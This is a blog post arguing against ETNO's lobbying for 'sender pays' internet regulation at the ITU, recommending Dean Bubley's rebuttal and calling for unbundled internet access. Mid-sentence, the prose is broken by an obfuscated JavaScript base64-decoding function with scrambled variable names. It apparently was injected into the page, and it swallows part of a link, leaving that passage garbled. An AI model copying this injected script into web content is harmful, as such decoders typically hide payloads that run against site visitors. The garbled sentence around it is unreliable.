A Masterful Response to ETNO’s Lobbying for ‘Sender Pays’ Internet

Scales of Justice Brisbane Courts – (CC) Sheba_Also

 

The coming decisions in December regarding possible changes in Internet regulation by the ITU at the heavy-handed request of European incumbent operator lobbying ETNO has been a growing concern
that I meant to write about, to highlight the so many ways in which their proposals are dangerous to the digital economy ecosystem in general and value-destructive for all players in the ecosystem (including those who are lobbying for it) and the countries who are seduced by the idea of a return to the old telephony models of compensation. I couldn't find the time to do it in recent weeks, and thanks to Dean Bubley, I won't have to.

Limited though my authority in these fields are, I enjoin you to read Dean's long, articulate blog post entitled Why ETNO's proposals to ITU for Internet regulation & Non-Neutrality are flawed & duplicitous. It explains with great clarity why the ITU must not follow the recommendations of ETNO and even suggests a number of ways that the waters should be clarified to avoid the kind of sneaky dissimulation used by ETNO here.

The need to forbid internet access bundling is something function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-consumers-need.html">I wrote about over a year ago as a clear and understandable solution to solve this once and for all. If customers perceived the clear difference between internet access and managed services, you can bet they would care about net neutrality. To be clear, I'm not advocating the impossibility of a bundle sale, but the need for performance metrics of the internet access part of the service to be explicit.

As an additional piece of reading in line with Dean's opinions on the laughable AT Kearney report published a couple of years ago and advocating for similar one-sided financial mechanisms (which, as I've shown here would make many established online business go bust, even those owned by incumbent operators), you can check out the excellent paper written by Robert Kenny on the topic.